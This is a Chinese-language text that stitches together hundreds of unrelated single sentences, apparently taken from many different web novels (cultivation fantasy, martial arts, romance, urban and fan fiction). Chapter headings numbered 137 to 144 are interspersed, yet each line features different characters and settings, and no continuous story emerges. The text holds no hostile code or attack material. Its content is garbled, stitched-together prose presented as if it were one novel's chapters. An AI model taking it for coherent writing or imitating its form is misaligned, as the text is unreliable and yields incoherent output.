夜凰紧张的看向蓝飒,蓝飒却是摇了下头,复提着那一提油纸包转身而去,夜凰再瞧那姑娘,就看那姑娘露了脑袋,瞧见蓝飒去了,便匆匆忙忙的跟了去。
闻言后的胡秀,恩了一声之后就慢慢的从他怀中离开了,此时她的脸上已经是通红通红的,就好像充血了似地,不过他不敢看王晨,只是一味的低着头。
凯”十号默了,他极度怀疑,火彤这家伙是早有预谋,否则,这两个调整后的对战局面未免太过完美!完美的让人不得不怀疑这是一场预谋已久的阴谋。
不过,他并没有表现出来,毕竟抓住了百里傲云的把柄,这可是天大的好事,而且这个把柄可以让百里傲云和他身边的人都从这个世界上消失。
“你的安全,本王当然不会让你有任何危险。”席左辰一边抬手勾了勾韩凝的下鄂一边去扯她的衣袖:“不过,爱妃,有些东西你还是不要带在身上的好……”落手处是韩凝藏在袖间的几百枚毒针。
没有轻唤,没有出一点声,他就这么推搡着她,直到她发出哼唧的声音,并有醒来的迹象时,才收了手,站在旁边。
看着倒飞而出去人形怪物,陆飞这次没有再给他丝毫机会,轻轻一刀劈出,一道极亮的刀气瞬间轰在了那傀儡身上。
旭日弥一看出现在门口的男子,浑身猛的一震,惊恐一瞬间蔓延全身。
按照韩凝冒充韩烟入宫的日子和出宫去王府的日子来算,这孩子的确只能是百里傲风的。
就在龙涯气的牙痒的时候,忽然一个声音在两人耳畔乍起,好像说话之人就在两人身后一样。
这间房间本来就是情侣房间,所以浴房是根本没有遮挡物的,完全就是几块玻璃搭建出来的,从外边可以清晰的看到浴房里的景象,此时更是当着一个大男人面前,余雨哪里说的出口这件事,心中想了想,只能作罢了。
龙渊感到一阵局促,他往脸上搽脂粉,就是为了防止自己耍流氓的时候脸红被人看出了端倪。
“万古青松?”林飞羽神色有些莫名其妙,说起来他还吃过这棵松树的种子呢。
上官嫣然此刻也有些期待,程无双的战力,在真正的二劫仙羽境武修面前,可以到达何等地步。
以他现在的能力,炼制超品丹‘药’很勉强,但也不至于炼不出来,只是无法炼制出帝品级别的丹‘药’而已,最多到达尊品。
让一个武门弟子去做工,简直就是拿轩辕弓射苍蝇。不过龙渊却有着自己的打算。
俩人一直互相搂抱着歇息,清晨坐的飞机,到达目的地之时,夜幕已经缓缓的降临了。
太极拳的以柔制刚?轰碎!一拍两散掌的以强对强?轰碎!一招招交手下来,叶凡彻底展示出他荒古圣体的同阶无敌之势。
第一卷 第137章 皇榜
就比如洛基,他学习的魔法和他的性格,从许多方面来看,都能够看出关联性。
杜汉忽然扬起手中的锁链,只见锁链如同有生命的蟒蛇一样,向陆锋的脖颈一口甩了下去。如果这一锁链打中陆锋的脖颈的话,哪怕陆锋是炼体修士,也会直接被这一锁链打断,到时候这种伤势将会神仙也难救。
方元推开门,只见里面是个极为宽敞的大厅,最里面设了神龛,有珠帘垂落遮挡,看不清楚供奉的神像模样。
到地方后,赵飞云简单的鼓励了他两句,随后就拿出了奖励通告。
南柯上辈子氪金花了不少积蓄,狗屁都没抽到一个,但好歹是抽出了点教训和抵抗力来,因此这辈子倒不需要表现得跟个初哥一般急切。
男的穿着黑西装,白衬衫,领口打着领带,带着别针,手里拎着一大包捆得跟炸药包似的草药。
比如,待会儿就放下内心的矫情,找个位置先刷一刷点券,尽可能地提升提升自己的实力。
那股杀意对自己的影响,看来已经从各个方面体现了出来,毕竟,以自己温柔贤淑的性格,怎么可能这么容易想到这种走极端的想法?
方元微微皱眉,没有立刻入内,他发现这祠堂门是虚掩的,这里有人来过。
租来的黑色SUV开到了位于莫斯科郊外的一处华美的庄园,还没下车,林诚就听到了建筑里传来阵阵枪声,他立刻懵了一下。
接下来的几天时间里,纳斯达克指数在经历长达四天的攀升后,恢复了一百二十多点。
在看那先前还能与八神庵敌住几招的慕容夜天,此时竟然两眼翻白,浑身上下血肉模糊,破烂不堪,便是那内脏之类的碎物也是流淌了一地。一身漆黑的长袍上此时再也看不到丝毫的黑色,早已被鲜血染成了淡淡的紫色。
万世城的万宝斋除了这位万三千外,暗中还有十多名道帝巅峰的存在。这些道帝强者,都是万宝斋的供奉,除此之外,万宝斋明面上还有数十名道帝强者坐镇。
八皇子没有什么话好说了,如果他说单打独斗,林枫一定会答应的,他的速度虽然在林枫之上,但论起实力来,他绝对不是林枫的对手,如果一对一地和林枫交手,输的一定是他。
之前他明明是派明杰去盯着这张刘氏的,哪知道张刘氏都出现了,这孙子居然连点示警都没有,这盯的哪门子的梢?
想到就做,姬长风笑了笑,便开始为上衍如来阿弥陀佛进行了解释,并说的很是详细,让上衍如来阿弥陀佛对于三千大千世界有了很深的认识。
说话间,山岩下的情景已经发生了急剧的变化,那两头怒熊拖着庞大的身躯已经是慢慢地逼近了雷鹫的栖身之所,而后极其狡猾地在三十米开外停住了身躯。
然而,萧锋身上无上神威席卷而出。滔天的恐怖力量,撕裂了黑暗。此时,萧锋犹如一尊战神,那怕是无尽黑暗也被撕裂,刹那间,无比恐怖的力量肆虐着整个空间。
老约翰想要叫上维尼这个喜欢吃的大家伙,但看它在“睡觉”,索性作罢。
夜一的语气似乎缓和了许多,没有了之前的那种霸气,眼眸之中也多了三分温柔。
北墨轩在昕元有所反应的时候就已经感到不妙,此时听到这样的话,心中并没有太多的意外,只是一双瞬间沉得不见底的墨眸,却有些担忧地看向了花冥微。
瑾瑜自然感受得到跟自家魔兽之间突然断掉的联系,嘴角不由抽出了几下。
“辰儿,别说这个了,我们来做点开心的事。”他搂着男人的腰身,温热的气息,低哑的嗓音透出几分暧一昧。
御坂美琴从自信到茫然,再从茫然到坚定内心,这样的变化都是洛修一手引导出来的,木山春生看的出来。
“第二个问题,你们直接出动直升飞机,和 军队的部队,中-央允许吗?“对于这一点,张 山还是非常好奇的,毕竟军队真的是不能随便 出动的,想要调动军队需要中央上级的命令。
不过,后来越前又想着在网王的世界里,什么网球可以将人直接击飞,网球可以打得人满身是血,以及各种违背物理常识的球技出现的事情之后,越前便是不在纠结这样的问题了。
不多时,张山完成了清理工作,他蹲下身,将嘴里的秽-物悉数吐出,干呕了几下,滋味确实不好受。
于是,不过片刻的功夫,偌大的琼花林中,便只剩下了百里瑾烨和北墨轩两人。
空气似乎在这一刻骚动了起来,隐隐间似乎能够看到半空中那如同月牙一般扩散的痕迹。
楚峰在看到这拜月太子之后,便瞬间收回目光,一来,他和拜月太子可没交情,二来,现在彼此可是竞争关系,楚峰自然不会做烂好人,去救拜月太子。
第一卷 第138章 宫宴
紧跟着,秦舞阳呵呵一笑,驾驭太乙青灵舟,直冲九霄!剩下三人忽视一眼,各自离开。大漠黄沙之上,绿洲是非常显眼的。
萧逸云和云逍散人相谈了很久,云逍散人离去后不久,萧逸云和嫣凝一行人再次上路,这一次不是其他地方,就只是潜龙星,萧逸云想要寻找到幻冥大神,他相信幻冥大神很有可能对于这魔眼有所了解。
项羽看了眼四周荒山野岭,却也心知二人虽是亡灵之体,但若留在此地岂不是苦了虞姬?只是那身后数百生死兄弟,却如何离去?
“吱呀~~”,东南两城门忽然大开,杀生震天,无数反军士兵蜂拥而出,直扑向外面大华军的阵地。
黯辰直接将酒往嘴里灌,而后停下直接坐在了悬崖边上,萧逸云和杨青也坐了下来。
几秒过去,那万众瞩目的炮管管身上忽然放出耀眼光芒!光芒呈七彩之色,沿着一些特定轨迹游走不定,时高时低,似乎也有特定的频率。
就算没有结果,就算不能在一起……但他不想看到她病恹恹,生病的模样。他和童麦两人怄气起来,彼此不相让,可每一次在两人怄气时,几乎都是他去破解彼此的心结。
哈哈老祖也没有能够护住晓月禅师,在一次外出时,大和尚被峨嵋派的两仪微尘阵炼成了飞灰。
谁会希望自己是坏人,可是看着自己那一身的伤痕,触目惊心,叫展风颂如何心里不忐忑不安。
“是,前辈,是这样的,我娘前几年承蒙白首府大人相救,为了报答首府大人,晚辈曾经许诺要保护白府十年的,现在才过了三年,晚辈如何能够失信于人。”冷子泉苦恼的说道。
陈五似乎也是从方言的神态中看出些端谬了,忍不住尴尬一笑,连忙拾起放在岸边的衣服披在身上。
三队骑兵浩浩荡荡地经过城门,大街上没多少人,折腾了一夜,大都回去睡觉了。
“啪!”话还没有说完,一边的程英一嘴巴甩到了陆无双的脸上。
此时,洛飞所在,从北方迁徙到靠近南方所在的新‘洛水城’中。
而这地方一看就是荒废了数千年的修士洞府,无论这里是以上那一种情况都是让人期待的。
“你想怎样?”幽偌冷着脸,不知道罐子里的妖物在打什么坏主意。
杨勇的想法虽然很好,但是俗话说得好理想很丰满,现实很骨感。
为此,本是闭关不出的上官岳紧急出关,直奔慕容复所在之地,对慕容复展开了质问。
他的职介是高阶魔战士,就因为有了永恒级战神套装,这才拥有媲美神圣魔导师跟高阶黑骑士的能力。
岳隆天此时正在房间里纳闷呢,到底是谁这么关照自己,找了这么一个绝世尤物来孝敬自己?
“只差一点,已经感觉到突破了,就是差一点。”刚才佩恩吞下仙豆那一刻,已经触摸到突破到超级赛亚人三的时候,可是仙豆的力量完全消耗之后。
“这位长老,且不说我们根本就沒有办法帮助你进入神秘空间,就算是有,此时恐怕也已经晚了!”,宋离苦笑一声,其他三位领队都极为默契的保持了沉默,但他作为圣魂的领队对于司徒南的死自然是责无旁贷。
“起死回生?哈哈,不管你是不是有这样逆天的功效,属于赫连的宝贝,就必然要回到赫连的手里,谁也别想跟我抢!”,赫连诺目光狂热的看着台上的涅槃,双手不自觉的在搓动了起来。
东方毅顺便点了几道餐厅里面的做的最出名的菜色,还有饭后甜点。
在这方圆多少公里以内,战斗之地唯一安全之地,只有弥彦周围那数十米的区域,其余地方,早已经在战斗之中,被破坏的千疮百孔。
刁妈妈的意思他当然清楚,我这样的货色显然不对他口味,虽然他妈左右不了他的想法,可谁也架不住成天有个操碎心的家长在耳边念叨。
两人走进一家颇有情调的酒吧,这时酒吧里面正是热闹非凡的时候。
因为一直都是自己一人,一旦有人在身边,墨凉必定是睡不着的。自己的背是弱点,只因为背后看不见任何事情的发展,所以墨凉从来不愿意背对着任何人。
可也因为这样,这北门也成了那些大侠强盗们经常往来的一条路。四人躲躲藏藏终于到了北门,六爷把风,青衣跳跃上了城墙,这城墙是很高,可是在青衣的眼里那不算什么。
维伦轻轻的抚摸着他红色皮肤上的种种伤痕和孢疹,无法想象自己的孩子究竟经历了怎样的对待才变成了现在这个样子。
第一卷 第139章 味道
无奈之下,她只好驾车回家,回王府巷19号公寓。她回到公寓院子里停车,又掏出手枪,装上消声器,拉开保险,这才拎包下车。但是,那些在附近停车的人,并没有什么行动。因为后面盯梢的人,出现了相互牵制的情况。
塞西尔更气了,对于一个将领来说最重要的是什么,他不比你清楚?
龟井在冷风中哆嗦着向她汇报了与几路人马血战的情况,并说发现了李翰。
桃根仙拖着令狐冲的大腿往门外跑,忽听身后掌风呼啸,他慌忙转身,一掌击出。
但世人不知道的是,现在唐家的高层佣人,大部分都来自曾经的隐龙军。
然后他想起来,自己还没有看那本来自老祖宗伯纳德·福克的日记残本,反正也没事做,不如就趁现在看了,就当打发时间了。
“最喜欢阿信的抱抱了。”而在赵信还在疑惑的时候,被赵信抱在怀里的炙心有些迷糊的说着。
嵩山派虽说是左冷禅的一言堂,可帮派大了,自然不会是铁板一块。
果然,等费斌将男子翻了个个,却发现男人面色青紫,嘴巴张的大大的,伸手一探,果然没了脉搏。
想到这件事情,傅归一担忧的并不是自己的安危,而是在想楚灵究竟知不知道这件事。
怜儿甜甜地笑着,收下了徽章。这举动让乐芙兰和妮可忍不住暗暗握紧了拳头--在讨人喜欢这方面,她们还真不如怜儿。
杰森本就都不熟,此番也重新沉默起来,安安静静喝着自己的酒。
我一点点的从床上下来,光脚踩在微凉的地面上。樊烨家楼高,我只能想办法从门出去……我从樊烨床头柜的抽屉里找到一套修指甲的工具,研究着去撬樊烨家的门锁。
沃克到了啸虎市上空,直接放肆地放开了自己的神力搜查。果然不一会儿,脸色难看的啸虎王就出现在了沃克面前。
观众们傻傻地看着沃克退场,他们一时间还有点反应不过来,红狮王,竟然就这么死了?
他这手没啥保护措施,按上去是堵住窟窿了,可却成为马蜂的攻击目标。
盖伦看了赵河一眼,他跳下船,直直地朝着赵河而去。在抵达的时候,他抽出大剑割断了绳子,然后抱着赵河跳到地上。
到了会议室,阿达将我让到办公桌坐下,然后拿着资料,给我仔细的看了一遍,自己辖区的所有场子,每个月的运营。人手,以及各个方面。
下午放学的时候,我和刘昕几个吃了饭。就回到宿舍抽了一根烟,我想了想,出去走到楼梯口,这里相对比较僻静一点,看看左右没人,就给李宏光打了电话。
我想好好开车,但现在思绪很乱,在我印象里,监狱犯可都不是啥好东西,尤其我们要找的还是个狱霸,他入狱前不得多凶恶呢。
结果见他竟然也点了一根烟,蹲了下来,盯着那铜环停下的位置。
其实,这有啥呢,无念他们是没有听说过一个神话故事而已,某个大能,不就是从石头里面蹦出来的吗?
路途虽不遥远,但一路折腾几下也耽搁了些时间,到达那个城市时已经是傍晚了。我下了火车给秦一恒打了个电话,依旧是关机,于是只好和刘瘸子直奔宅子,想先跟秦一恒会合,然后再作打算。
华夏的侦探,其实位置是比较尴尬的,因为很多事情警察这边直接处理,一般人家哪里是会找侦探的?
我看着张梦菲,张梦菲还没等我说话,就先说话了,她说“晚上吃什么呀,我请客。哈哈。”说着,就这么盯着我看。
一般来说尸体被赶送到死尸客栈之后,赶尸人会驱赶尸体倚墙而立,因尸体不能被清晨的阳光照到,不然就没办法驱赶。
“那就多谢莫宗主了,对了,莫宗主,我还有一件事情想要问问你,你知道我们倾城帝国有武者会去无尽南海修炼吗?”刘川问道。
“刘石,杨凤你们先把韩猛,带去地牢中,关押起来,我有可能还会再次审问他”。
我选择火箭筒是考虑到,翳僵可能根本不怕冲锋枪,从它庞大的身躯和破坏力已经可以判断。
蓝心洁本来还没明白到底是怎么回事呢,如今听王崇阳这么一说,才知道,原来这一切都是楼兴东搞的鬼,立刻愤怒地看向楼兴东。
杨伟当场被打了个措手不及,受到重创后,一个空翻勉强稳住身形,肩膀一阵火辣辣的疼痛。
班铭的目光径直落在数公尺外,一道形态犹如柳枝一般颜色在黄蓝之间不断明灭变换的特殊雷霆之上。
但跟普通石头唯一不同的地方就是,这块石头曾经却是神兽身上的骨头。
第一卷 第140章 金子
南宫宸接过三皇子递过来的糕点,颤抖着放进嘴里,咬了一口。
不对!还是味同嚼蜡!
难不成他的味觉并未恢复?刚才的酸甜滋味只是错觉?!
看着大家眼流露出的那种慕濡、崇敬、感激的神色,谭振也不禁暗自想到,如果自己的家乡能够有这么一位领导,那么,家乡的父老肯定会迅速的过上好日的吧?
五行杀手看着正在下落的王运,他们心中个个暗喜,这一次终于要干掉这个臭老头了。忽然,人影一闪,“消…消失了!”五行杀手张大了嘴巴,怎么可能?
把他们关到滞留室去,详细情况咱们再谈吧”!郎阵,暂时,也只能相信萧寒说的这些了。
一对一的战斗,已经变成了一个比蒙战士对上十多个奥金战士甚至数十个奥金战士的战斗,这才是战阵的精妙所在。
说话之间,以后有两个护士推着一张带轮子的床进来了,还好这个房间也够大,本来还显得空旷,现在好了,让人看着就舒适。
两名狮族武圣齐齐闷哼一声。刚才奥金族战士在城墙之上大开杀戒,杀掉了起码一两百名比蒙武士。这让两名武圣都愤怒了起来。
料想,即便霍去病此时大摇大摆的走出大帐,也没有人敢拦着他。
无敌也无意阻止,深渊界和奥斯陆并不是同一个位面,如果没有特殊方法,两者之间很难产生什么交集,古德里三人想听那就听吧,反正没有自己。他们三人很难找到回去的方法。
庄万古此时,正静静的盘坐着,盘坐在血细胞上,而在他地双腿上正放着裂梦刀。庄万古此时正坐在王灵官体内地血细胞上,庄万古的第三十四杀,是一招很诡奇的杀法。
没有了强力而统一的指挥,魔物们便无异于以个体的力量在战斗,可他们的对手却是十多名圣阶狂战士,还有两组战神冲撞。
当萧风说已经有了自己的实验室的时候,赵丽芝和萧江河全都高兴的不得了,儿子是越来越又出息了,他们脸上也会越来越有光。
“算了算了,既然你要码字,那我就不打扰你了。安安静静的去创作吧少年!你就是下一个大神作家!看漂亮妹子这种俗事,就交给我们这三个俗人好了。”天乐嘿嘿一笑,换好了鞋子准备出门。
都到了这个时候,还说什么主子奴才的。还是努力别被冻死,来得实际一点儿。
是以,当宇智波夏用出木龙之术后,所有人,都迅速远离了宇智波夏一段距离。
现在,木叶刚经历九尾之乱,四代和人柱力两个“影级”强者牺牲,再加上大蛇丸叛逃,三忍全都不在木叶,军事实力可谓是一落千丈。
毕竟他已经给好几支特殊居然居然打过交道,所以对付特殊巨人,他是有经验的。
如今,他已经收集了三张房屋升级图纸了,而且又从杜银币那里搞到了巨炮图纸,以及从汽笛人那里搞到了晶核,和机械腿机械臂。
于是,她在厕所附近,找了个不错的位置坐下,目光一眨不眨地望向厕所门口,预备李星儿出来,就可以喊她过来,跟她一起吃东西。
第一卷 第141章 安顿
锦婳给谢威使了个眼色,便随那阿若进了皇宫。
锦书有些担心,在宫门外张望了许久,直到锦婳的背影不见,才停止张望。
四月的天气还有点冷,从嘉陵江畔吹来的风从破窗格子中钻进来,满屋子绕。
望着头顶压下来的龙皇印,陈不凡当即催动不渡魔功,大魔度轮随即涌出体外,化作一尊巨大的魔神立于天地之间,四双巨手直接将龙皇印撑了起来。
“怎么样?是不是觉得这比赛的背后没有那么简单?”蜂刺笑道。
“现在的城堡防御由你负责,别让我失望。”洛克看着它微笑道。
与之前不同的是,这次观众和赞助商们有了充足的座位,而各国选手们则是在候选区的特制桌椅前,等待着考核的开始。
当然中间还是有路的,一条还算宽敞的土路穿插在整片松林之间,单向跑一辆坦克应该问题不大,松涛阵阵,隐秘的很,空军侦查的话,都很难发现行驶在松涛里的载具,怪不得敌人选择从这里偷袭了。
他只好手忙脚乱的走向冯硕,将冯硕的身体扶起,然后走向唐宁,将唐宁的身体扶起。
一瞬之间,林维感觉自己的身体似乎被完全放空,头脑明明依然清醒,但是意识却开始有些涣散。
这里全部是一些低矮的房子,没有什么高的建筑,连一座两层楼的都没有。
他仔细一端详才发现原来老奶奶的眼神似乎有点问题,瞳孔模糊一片,上面有点发白。
姐俩第一次这么心酸的对话,如果秦楚这个当爹的听到,肯定会心疼的泪流满面。
就在暴冈和紫音在外面谈论的羿锋的时候,羿锋气海之中的斗气在不断的凝聚,天地灵气宛如实质一般向着羿锋直涌过去。
“呵呵!金长老放心,既然我们都同意,自然不会反悔。”所有人打着哈哈说道,心不在焉的应对,眼神已经看向飘来阵阵幽香的前方。
莫影有什么本事,洛奇可是亲眼见过的。如果真和莫影交手,最后也就是个半斤八两的结果。
一面按着他叩头,那汉子便见新找来的秋叶红都说了能抱住母牛就不错,顿时再没了精神,连连叩头起来。
不得不说,奉德寺的和尚们干的这事儿太缺德了,犯了众怒。而崔耕现在的号召力,又太强了。
“好!”好字出口,刘森一个大仰身:“果然值得我出手!”短短一句话说完,他的身影变换了七个方位。
“要是圣尊想知道更多消息的话,我倒是可以给圣尊介绍另外一位圣尊。他或许知道更多的消息。”城主看着羿锋笑道。
格莎莎真懂事。真的在指,她指的是地上!轻轻指一指,她落下了,居然是落在她指地地方。
酒店的大‘门’口突然传来一声巨响,一辆磕碰得破破烂烂的大汽车摇摇摆摆的撞上了酒店‘门’口的一株棕榈树,将那棕榈树撞得拦腰截断飞了出去,树干差点没砸死两个站在旁边的‘侍’者。
感觉到煞气越来越重,而且后面僵尸的嗷叫声越来越大声,他知道情况并没有他想象得那么乐观。
第一卷 第142章 喝粥
虎啸一句话等于说是把其他几人全得罪了,但修为到了他们这种地步,有些话已经可以充耳不闻,尤其是那种听了便让人动怒的话。
“呵,进到我的地盘里还想逃跑?”一打响指,便有两个黑衣人走进来,唐可儿拖了下去。
谢清辉说:刘瑞香内急,躲在树丛里解手。当时,谢碧桃到渠下田埂采野花,谢和熙正低头弯腰去捡石籽,打渠里的鱼虾玩,她亲眼看见舒石磊斜插过去,赤脚悄悄上前,突然偷袭,将谢和熙当背一脚,踢进水渠。
袁秋华说:将来社会是怎样,谁也猜不到,也行知识不吃香呢,可能还会搞什么“运动“呢。
所谓金口玉言,席皇的这个决定,无疑让龙夏帝国从今以后拥有了一个超然的部门。
当然,也有人一脸紧张的看向叶铭,心说这下他可惹祸了,李俊浩之所以这么放肆,自然是背后有人给他撑腰,现在叶铭得罪了他,肯定没有好下场。
现在的江辰,早就已经被仇恨冲昏了头脑,或者说他以前的优越感,会让他错误的估计自己的敌人。
但在这里值得注意的是,吴亦凡并不是吴氏的儿子,至于他的母亲是谁,在这里还是要暂时保密的。
“哈哈,正有此意”剑光第一个表态,化成一道剑光,冲天而起,站在三色啃食峰的左边位置,围着啃食峰。
此刻,在陈家的大厅中,已经聚焦了大量的商人,都是黄皮肤的黄头发的大亚洲人。这些肯定都是华夏人,不可能是倭国人,因为以陈天堂对抗战的支持,倭国人不可能出现在这里的。
第五天,演习战真正的重点开始,工作人员把临时做好的第一轮名单递到了楚旭的手里,与之一同的还有对方指挥官的基本资料以及演习舰队配置。
可为什么到她这里,却什么都没有啦,而且乐正辰甚至这么急的想与她结婚。
“按照你所说的,你姐姐那个时候应该是没有怨气的吧!”还记得人,应该就是没有怨气的。
乐思甜和令狐钰也清晰的感受到,好御承风和月媚儿交朋友的诚意。
转眼两天过去,乐思甜三人没等来唐心甜清醒,倒接到御承风的传讯符,原来黑雾城已经易主,五天之后,御承风将正式接任黑雾城城主之位,到时有个接任大典,御承风请乐思甜和令狐钰前往参加他的接任大典。
宫瑾轩总觉得白意染有事瞒着他,心中像是积压了很大的重担,压的她喘不过气来。
秦峥却不停下,二话不说的上前几步,伸手抓起了韩生的衣领来,揪着他的衣领将他按在了墙上。
思量了一番往后。武威门院弟子把手中用不上的法宝、灵药、灵料一古脑悉数出售了出去,至于几件鸡肋般的圣阶灵宝相同寄拍在了这儿。
看着他落荒而逃的背影,严肃嘲讽一笑,然后跟了上去,只丢下一句话给被刚才自家先生体贴的那一幕震得有些发懵的寸头大汉。
此刻,听到凤凰的话后,白麟等人脸色不由地一变。他们怎么也没有想到,凤凰背后的势力居然如此强横,面对着三个连龙腾都无法匹敌的高手,居然只是淡淡的一句话,就判定了三人的生死。
就这样,在通天峰时不时传来的令所有人青云门弟子如见鬼一样的恐怖修炼进度。
若是纳兰无双直接挑明了说自己,就很吃瘪了,这纳兰意之直接似笑非笑的看着她,一句,别憋坏了,差点让她泪奔。
本来以为第一天上学,这些孩子的家长即便是再如何忙碌,也会准时来接孩子放学。
“那今天他是要饿着了!”林成月见这种情况,实在是也木有办法。
虽然这最后一个约定实在是有违一个修剑之人的原则,那就是修剑之人不应料理国事,不应参与政治。但是剑泉毕竟是有言在先,不可以失约是他首先需要考虑的。
只是,在这个时候,在那武圣高手的身边却是同时出现了一个同样的黑衣人。
再比如,梁佳怡说,她对男朋友很好,男朋友却不能像她期望的那样对待她,这让她觉得自己的付出没有回报,觉得很失落。
“你要挖什么?”柳毅问了一句便没再问了,他知道问了也是白问,从纳戒里抓出一柄长枪帮骷髅挖了起来,那骷髅抬头看了柳毅一眼,然后低头继续刨土。
她只是一如往日,淡然的笑着,只是安慰这妹妹的紧张,一如往日,只是,若说哪里有了不同,在妍紫与魅轻离订亲之前,她只是貌似调侃的问了魅轻离一句。
但是,因为现在,校门口站着的人实在是太多了,自己现在就算是想要挤到她的身边也根本就做不到。
言罢就飞到太史朗身后,低首半闭双眼,依然是一副以太史朗为主的模样。
罗竸宁看着高彬落寞的背影,没有幸灾乐祸,也没有同情心泛滥。
后来3197年7月1日那天,末日到来,爆发丧尸,这外来者居然把她儿子推了出去挡丧尸?还好最后这外来者死掉了。
下楼,刚走到大厅门口,就看到一辆挂着很牛车牌的黑色宾利停在路边。
但是,转念一想,玥玥姐还在旁边呢,自己还是另外找个机会再说吧。
乔英子却没有提昨晚敲诈自家老爸的事,顺便邀请顾清去看电影。
王奕博带着五个亲卫向着已经接近的九功等人而去,就连在哀叹的多铎都看着接近的骑兵,他真的没想到竟然是王奕博的亲卫,不过看着他们干净的衣甲和没有缺失多少的人数,他的脸色阴沉的下来。
第一卷 第143章 威胁
不管是格林大师,还是研部门的疯子老人,全都是符武总部的顶层人物,身份极其特殊,位置也最靠前。
所以,第一时间,她便动用了封空神符,三百息内,断去江寂尘的前行之路,不让他踏入接引之光中逃走。
可是这件事情整个龙城只有龙飞知道,这个大夏特使是怎么知道的?
铁塔般的雄壮大汉双眼如灯观望昆仑仙境,不时发出赞叹声,这里的确是天均大世界少有的钟灵毓秀之地,也许其他几处不弱于此地,却也不可能比此地更加造化玄奇。
“给我死吧!”一声冷哼,下一瞬间程锋的脚掌爆发出一股狂暴的力量,猛地踩了下去。
翻墙而入,房间里亮着暗黄的灯光,几道人影投射在窗上,不时浮动。
唯一让他感到欣慰的是军功了,三十门武技大成,军功直接飙升到了九百多点。
“呃……”被那白衣老者的一阵斥责,那锦衣中年人秦权是被噎了半天说不出一句话来,没想到以玄仙境的田长老竟然会惧怕对方,对方真的有这么强吗?
“……”他张开嘴,一脸惊恐和不敢相信的看了叶错一眼,噗通一声,倒在了地上。
擦!程锋干笑一声,暗骂自己刚才的问题白痴,竟然被无敌哥给嘲讽了。
一条条系统消息接连不断的响起,轰动五洲,解开了许多玩家心中的疑惑。
这佛珠看起来很是普通平凡,灰黄色的佛珠变面之上并无何不出奇之处。
看见来人都基本被杀光了,那一与傈星傈月纠缠中的金巫,一双眼睛闪过了惊骇神色之后,就大吼了一声,接着,这两个金巫就把傈星傈月逼退之后,化为了一道漆黑的雾气消失了。
“怎么啦?脸这么红?”待送走了东方渌鸣和霍俊兄弟俩,席以筝想溜回自己房间,孰料被席以晴逮了个正着。看到席以筝耳根依然泛着红晕,禁不住好奇地问道。
曾浩可没有忘记,当初他得到此塔之时,也同时在冰塔之中发现了大量的宝物,至今为止,其中的宝物都发挥到不少的作用。
云过是什么人,他是半步大神八层天的无上强者,爆发出来的力量无限接近于大神,岂能被相当于半步大神一层天的吸扯之力扯碎。云过无视吸扯之力,继续前进。吞天眼深不可测,一眼望不到尽头,如同无底洞。
王妃听着也是,这时,刘婆子也听到了外面的动静走了出来,王妈妈的叫声让她心惊肉跳,少奶奶想要做什么?
那保安不理会下面的叫嚷,手里拎着根狼牙棒虎视眈眈的看着,大有再有人砸门他就上去砸人的架势。
“妈,这是怎么回事,他们为什么不让我们回家?”余秀洁向她妈妈问道。‘毛’寒香的老公余凯的家在一个贫穷的地区,所以他们才在她娘家住着在秋海市打工,而‘毛’寒香的爸妈和她哥哥住在一起。
不知谁大喊了一声,十字路口的人如同打了兴奋剂一般纷纷跑下土坡站在路中央观看,不一会儿的工夫,两辆车开了过来,他们急忙让开,车子拐了个弯向北驶去,那是去郭奕家的方向,当然,郭新德的家也在那边。
洛阳横街,一家酒楼上,张江笑呵呵的给一个穿着破烂,半边脸被烧毁的人连连倒酒,口中满是恭维之词。
“无耻!”一声怒喝,一道火红的身影从天而降,犹如火红的太阳,瞬间照亮半方天空。
两人有说有笑的走出内殿,刚出门就发现洪天莫竟然在门口等候,韩冰还在想怎么去找他,没想到他就在这里等着,在这里显然不是为了等紫兰,因为海棠并没有在这,既然如此,洪天莫要找的恐怕就是韩冰了。
看着赵子龙那一副微笑的样子,何佳佳就气不打一处来,她皱了下眉头,语气冷漠。
宁昊面对她满屏的各种卖萌照和甜言蜜语,默默地打了一句话过去。
“我倒是想看看云家子孙到底有几分斤两!”赤木老妪眉目一跳后,手中的血红赤木顿时飞出一道流光飞向对面的云茂修。
在坤哥听来,这更像是催命的声音,更像是好听的骨骼碎裂声——他期待着。
“这是上次莫尔大人听着爵士乐的时候,从飞机上跳了下去,没有控制好自己的力度,那次飞机失事了,我是去了一只手。”副驾驶淡漠的说道。
而牛头本来就是转轮王的亲信,平等王对他一直不感冒。眼见宁昊等人殴打牛头,只不痛不痒地吆喝了几声。甚至在场好多人都没听到。
刘宠看到刘敢不发一言的,只是静静的听队长们在吵,不由更加满意。身为主将,永远都要听得下部下的建议和讨论。
“怎么?不敢出来见人吗?”那青年突然向着天边的那些光芒喊话,言语之中极尽挑衅,态度也是狂傲。
黑夜风卷,人如草木浮萍,他的道袍猎猎而舞。天边,今晚,一定有一场难以形容的大暴雨。
第一卷 第144章 熏香
南宫宸手掌拍在案上道:“好大的胆子!”
锦婳应声跪在地上道:“殿下恕罪!”
一而再,再而三的甩他巴掌的人,恐怕也只有她了。白逐云想着,他这辈子从她身上,到底得到过多少个巴掌呢?50下,还是100下,又或者是更多?
池晚看了看四周,无奈地返回,往他唇上“啵”的一声盖了个章。
他苦笑着摇了摇头,又望了一眼睡得正香的狗娃子,心道:看来只能赌一把了。
“高级魔人?一个长毛魔可以到达高级魔人,这……太匪夷所思了一些吧!”那男子有些震惊的说道。
她定定地看着封浩,看得后者都渐渐收了笑意,表情都有些严肃起来了。
唐易恒几口下去,手里的青苹果已经啃了一大半,肩膀一耸,面露遗憾表情。
那次的事他们都没有说清楚,上官彦的大部分米分丝都觉得是她的错,以讹传讹,就变成这样了吧。
“那天在警局出现的那个男人,是你男朋友?”高玫芬轻啜了一口咖啡道。
正当两人充满了尴尬的时候,四周传来让人森森阴森的嘶吼声,不停的从黑色的角落中传来。
就在叶枫等人登记完成,打算离开的时候,对面迎来一行人,为首的正是之前在长城和叶枫打了一架的上官云,上官云看到叶枫的出现,也是不由微微一震,但随即恢复过来,双眼瞪了叶枫一眼,然后走开。
孙悟饭则有些尴尬的看向江晨,很显然,被一 个地球人逼迫着爆发,对于一个赛亚人,尤其是超 级赛亚人战士的他来说,实在有点尴尬。
诸位应该注意的是,这些封地养的兵,并不属于楚国国家军队,而是私兵。
“将军,我已经把俘虏带来了,我袁达,今后必定听将军差遣,不敢有任何不满!”袁达俯首称臣。
心里虽然很是生气,但是李国平可是个老狐狸了,他是给人家送不好的消息的,自然不会表现出来。
而一些潜伏在直播间的动物园管理员、饲养员、驯兽员等等,全都释然过来。
